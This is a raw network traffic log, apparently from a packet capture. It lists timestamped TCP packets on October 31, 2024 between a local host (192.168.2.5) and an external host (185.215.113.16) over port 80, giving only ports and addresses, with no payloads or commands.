Oct 31, 2024 02:08:20.624051094 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.624073029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624078989 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.624084949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624114990 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.624212980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624279022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624289989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624303102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624313116 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.624332905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.624358892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624370098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624381065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624396086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.624428034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624439001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624449015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624461889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.624464989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624476910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624485970 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.624491930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624500990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624510050 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.624536037 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.624607086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624618053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624628067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624650955 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.624663115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624674082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624684095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624699116 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.624722004 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.624722004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624735117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624743938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624763012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624773979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624778032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.624799967 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.625030041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.625041008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.625052929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.625066042 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.625087976 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.625092983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.625103951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.625113964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.625125885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.625129938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.625166893 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.625175953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.625186920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.625217915 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.625250101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.625260115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.625271082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.625282049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.625294924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.625298023 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.625320911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.625380993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.625413895 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.625619888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.625631094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.625642061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.625654936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.625660896 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.625665903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.625686884 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.659749985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.659780979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.659792900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.659811020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.659821033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.659831047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.659843922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.659879923 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.659929037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.659931898 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.660007954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.660018921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.660028934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.660043001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.660048008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.660063982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.660119057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.660156965 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.660257101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.660388947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.660398006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.660408020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.660420895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.660427094 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.660432100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.660444021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.660458088 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.660479069 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.660712004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.660722017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.660748959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.660801888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.660820961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.660831928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.660842896 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.660867929 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.661442041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.661500931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.661513090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.661523104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.661535978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.661540985 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.661550999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.661562920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.661565065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.661588907 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.661597013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.661613941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.661637068 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.661647081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.661658049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.661686897 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.661714077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.661724091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.661734104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.661746979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.661747932 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.661756992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.661772966 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.661792994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.661802053 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.661803961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.661848068 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.661855936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.661866903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.661875963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.661902905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.662007093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.662019014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.662030935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.662041903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.662048101 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.662075043 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.662127018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.662136078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.662199974 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.739197016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.739270926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.739281893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.739291906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.739330053 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.739351034 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.739670038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.739681005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.739691973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.739734888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.739798069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.739809036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.739820004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.739830971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.739836931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.739861012 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.739933968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.739965916 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.739985943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.739995956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740006924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740020037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740031958 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.740061998 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.740154028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740166903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740178108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740200996 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.740253925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740266085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740281105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740293026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.740319014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.740331888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740344048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740354061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740379095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.740405083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740415096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740425110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740442991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740444899 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.740454912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740466118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740468979 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.740495920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.740537882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740546942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740564108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740576029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740577936 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.740600109 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.740603924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740614891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740637064 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.740747929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740758896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740768909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740780115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740792036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.740798950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740812063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740822077 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.740823030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740837097 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.740850925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740861893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740864038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.740889072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740889072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.740899086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740942955 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.740967989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.740979910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.741013050 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.741039991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.741050959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.741061926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.741075039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.741085052 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.741086960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.741110086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.741133928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.741144896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.741156101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.741169930 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.741189957 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.741202116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.741210938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.741223097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.741242886 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.741260052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.741271973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.741281033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.741301060 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.741322994 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.756051064 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.760979891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.760993004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761004925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761027098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761038065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761046886 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.761049986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761063099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761090040 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.761111021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761125088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761147976 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.761234999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761245966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761257887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761270046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761276007 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.761281967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761291027 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.761293888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761305094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761322021 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.761343002 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.761372089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761384010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761394978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761411905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761424065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761434078 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.761435032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761446953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761457920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.761476994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761482000 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.761490107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761498928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761512995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761512995 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.761523008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761534929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761537075 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.761545897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761559010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761560917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.761585951 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.761718035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761729002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761743069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761759043 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.761774063 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.761780977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761792898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761806965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.761840105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.776556969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.776576996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.776587963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.776601076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.776624918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.776626110 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.776635885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.776664019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.776674986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.776683092 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.776709080 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.776712894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.776742935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.776781082 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.776819944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.776829958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.776840925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.776858091 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.776928902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.776940107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.776951075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.776968002 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.776992083 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.777246952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.777257919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.777267933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.777282000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.777291059 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.777295113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.777306080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.777328968 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.777348995 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.777520895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.777616024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.777626991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.777657032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.777669907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.777679920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.777689934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.777700901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.777710915 CET	49712	80	192.168.2.5	185.215.113.16
